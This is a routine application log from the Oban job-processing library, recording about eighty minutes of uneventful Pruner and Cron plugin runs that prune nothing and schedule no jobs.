[info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:49.758 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:00.680 [info] {"source":"oban","duration":302,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:56:19.759 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:49.761 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:00.681 [info] {"source":"oban","duration":66,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:57:19.762 [info] {"source":"oban","duration":818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:49.764 [info] {"source":"oban","duration":820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:00.682 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:58:19.766 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:49.767 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:00.683 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:59:19.768 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:49.769 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:00.684 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:00:19.771 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:49.773 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:00.685 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:01:19.774 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:49.776 [info] {"source":"oban","duration":787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:00.686 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:02:19.778 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:49.779 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:00.687 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:03:19.780 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:49.781 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:00.688 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:04:19.782 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:49.783 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:00.689 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:05:19.784 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:49.785 [info] {"source":"oban","duration":819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:00.690 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:06:19.787 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:49.788 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:00.691 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:07:19.789 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:49.790 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:00.692 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:08:19.791 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:49.792 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:00.694 [info] {"source":"oban","duration":314,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:09:19.793 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:49.795 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:00.694 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:10:19.796 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:49.797 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:00.695 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:11:19.798 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:49.799 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:00.696 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:12:19.800 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:49.801 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:00.697 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:13:19.802 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:49.803 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:00.698 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:14:19.804 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:49.805 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:00.699 [info] {"source":"oban","duration":151,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:15:19.806 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:49.807 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:00.700 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:16:19.808 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:49.809 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:00.701 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:17:19.811 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:49.812 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:00.702 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:18:19.813 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:49.814 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:00.703 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:19:19.815 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:49.816 [info] {"source":"oban","duration":824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:00.704 [info] {"source":"oban","duration":315,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:20:19.818 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:49.820 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:00.706 [info] {"source":"oban","duration":344,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:21:19.821 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:49.822 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:00.706 [info] {"source":"oban","duration":383,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:22:19.823 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:49.824 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:00.707 [info] {"source":"oban","duration":142,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:23:19.825 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:49.826 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:00.708 [info] {"source":"oban","duration":158,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:24:19.828 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:49.830 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:00.709 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:25:19.831 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:49.833 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:00.710 [info] {"source":"oban","duration":156,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:26:19.834 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:49.835 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:00.711 [info] {"source":"oban","duration":90,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:27:19.836 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:49.838 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:00.712 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:28:19.838 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:49.840 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:00.713 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:29:19.842 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:49.843 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:00.714 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:30:19.845 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:49.846 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:00.715 [info] {"source":"oban","duration":155,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:31:19.847 [info] {"source":"oban","duration":812,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:49.849 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:00.716 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:32:19.851 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:49.852 [info] {"source":"oban","duration":823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:00.717 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:33:19.854 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:49.855 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:00.718 [info] {"source":"oban","duration":332,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:34:19.856 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:49.857 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:00.719 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:35:19.858 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:49.859 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:00.720 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:36:19.861 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:49.863 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:00.721 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:37:19.864 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:49.866 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:00.722 [info] {"source":"oban","duration":324,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:38:19.868 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:49.869 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:00.723 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:39:19.870 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:49.871 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:00.724 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:40:19.873 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:49.874 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:00.725 [info] {"source":"oban","duration":157,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:41:19.876 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:49.878 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:00.726 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:42:19.879 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:49.880 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:00.727 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:43:19.881 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:49.882 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:00.728 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:44:19.883 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:49.884 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:00.729 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:45:19.885 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:49.886 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:00.730 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:46:19.887 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:49.888 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:00.731 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:47:19.889 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:49.891 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:00.732 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:48:19.892 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:49.893 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:00.733 [info] {"source":"oban","duration":383,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:49:19.894 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:49.895 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:00.734 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:50:19.896 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:49.897 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:00.735 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:51:19.898 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:49.900 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:00.736 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:52:19.901 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:49.903 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:00.737 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:53:19.904 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:49.905 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:00.738 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:54:19.906 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:49.907 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:00.739 [info] {"source":"oban","duration":153,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:55:19.908 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:49.909 [info] {"source":"oban","duration":871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:00.740 [info] {"source":"oban","duration":371,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:56:19.911 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:49.912 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:00.741 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:57:19.913 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:49.914 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:00.742 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:58:19.915 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:49.916 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:00.743 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:59:19.917 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:49.918 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:00.745 [info] {"source":"oban","duration":367,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:00:19.919 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:49.921 [info] {"source":"oban","duration":804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:00.745 [info] {"source":"oban","duration":304,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:01:19.923 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:49.925 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:00.746 [info] {"source":"oban","duration":377,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:02:19.927 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:49.928 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:00.747 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:03:19.929 [info] {"source":"oban","duration":873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:49.931 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:00.749 [info] {"source":"oban","duration":314,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:04:19.932 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:49.933 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:00.749 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:05:19.934 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:49.935 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:00.750 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:06:19.936 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:49.937 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:00.751 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:07:19.938 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:49.940 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:00.752 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:08:19.941 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:49.942 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:00.753 [info] {"source":"oban","duration":261,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:09:19.943 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:49.944 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:00.755 [info] {"source":"oban","duration":352,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:10:19.945 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:49.946 [info] {"source":"oban","duration":787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:00.755 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:11:19.947 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:49.948 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:00.756 [info] {"source":"oban","duration":277,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:12:19.949 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:49.950 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:00.758 [info] {"source":"oban","duration":407,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:13:19.951 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:49.952 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:00.758 [info] {"source":"oban","duration":254,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:14:19.953 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:49.954 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:00.759 [info] 